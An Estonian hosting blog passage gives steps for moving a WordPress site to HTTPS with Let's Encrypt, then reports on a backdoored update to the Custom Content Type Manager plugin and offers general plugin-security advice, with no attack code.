  1. Telli serverile Let’s Encrypt sertifikaat –  Minu Zone » Halda » Veebiserver » Let’s Encrypt, valida tuleb vaid vastav server (või alamdomeen). Sertifikaat väljastatakse nii www-ga kui ilma aadressile, samuti kõigile olemasolevatele aliastele. Kui sertifikaadi väljastamine ei õnnestu, on tõenäoliselt mingi probleem veebiserveri seadistustega, kirjuta info@zone.ee ja küsi julgelt abi.
  2. HTTPS toe käivitumine võtab kuni 10 minutit, võta üks kohv/tee/vesi.
  3. Sisene turvaliselt haldusliidesesse https://[firmanimi.eu]/wp-admin
  4. Muuda Sätted » Üldine saidi aadressis http:// ümber https:// -iks
  5. Paigalda ja lülita sisse Velvet Blues Update URLs plugin, seejärel mine Tööriistad » Update URLs ning sisesta Old URL lahtrisse oma veebi aadress http:// -ga ja New URL lahtrisse https:// -ga. Märgi kõik lahtrid peale GUID ja käivita asendus. Seejärel võid plugina deaktiveerida ja kustutada.
  6. Vaata veebis ringi – kas kõigi lehtede puhul on aadressiribal lisaks https://-ile näha ka “Secure”? Kui jah, siis õnnitlen!
    Kui ei, siis on teemas (või mõnes vanas pluginas) viidatud piltidele, fontidele, CSS-ile, või JavaScriptile kasutades http://-d. Selle kordategemiseks on vaja muuta vastavaid faile, seega tuleks leida üles oma veebimeister – aga tegevus on näha ka videos (ei ole väga keeruline, aga kui pole varem teemafaile puutunud küsi parem abi).
  7. Kui kõik lõplikult korras võiks minna veelkorda Minu Zone » Halda » Veebiserver ning Seadete või Alamdomeenide all klõpsata nuppu “Suuna kogu liiklus HTTPS peale” – nii saavad kõik URLid korraliku 301-ümbersuunamise.

Plugin, ma olen su isa…

Tavapärane soovitus on uuendada kohe ja kõike mis seda vähegi nõuab – sest kui mõni uuendus peaks lappima turva-augu, leiab lähipäevil logidest märke katsetest seda ära kasutada.

Vahel läheb aga teisiti – eelmine nädal jäi Sucuri’le silma WordPressi plugin Custom Content Type Manager uuendus, mis tundus sisaldavat turva-probleemi – lähemal uurimisel polnud tegu aga näpukaga, vaid sihilikult paigaldatud taga-uksega: When a WordPress Plugin Goes Bad.

Zone virtuaalserverites on selle plugina kataloog olemas 15 saidil – kuna probleemne kood on pluginakataloogist eemaldatud siis ei ole need aga enam ohustatud.

bad-plugin-no-donutLühidalt – keegi kasutajanime wooranker kasutav (või selle üle võtnud) isik sai õiguse teha muudatusi WordPressi plugi-kataloogis avaldatud ja ca 10-tuhande installiga pluginale ning asus kohe ka eksperimenteerima. Ehk siis uuenduse (või uue installi) teinud saite üle võtma.

Tänaseks on WordPressi tiim talt õigused ära võtnud (lisaks ülalmainitule oli puudutatud Postie), algse plugina-versiooni koodi taastanud (ja versiooninumbrit suurendanud) ehk reaktsioon kiire ja korralik. “Tumedale poolele” ülemineku risk aga jääb – ja kui levinud plugina puhul hakkab see loodetavasti peagi mõnele turvafriigile silma, siis vähemkasutatu puhul võib selleks tükk aega kuluda.

Mida siis soovitada?

  • küsi enne uue plugina paigaldamist “on mul seda ikka tegelikult vaja? paneb see mu veebi paremini müüma?”
  • kasuta ainult https://wordpress.org/plugins/ pealt paigaldatut (või väga tuntud autori loodut)
  • eelista suurema installide arvuga pluginaid – nende puhul on loota, et koodi-probleemid on silutud ning jamasid märkab keegi, kes suudab kiiresti reageerida
  • uuenda, uuenda, uuenda (mitte-uuendamise risk on oluliselt suurem)
  • uue veebitarkvara paigaldamisel tee seda Zone+ abil – see tagab, et nii WordPres kui kasutusel olevad pluginad on igapäevaselt uuendatud (kui mingi uuendus peaks tulevikus ka veebi veidi katki tegema, on see oluliselt väiksem jama kui sissehäkitud saada)
  • … ja Nimbusec skännima!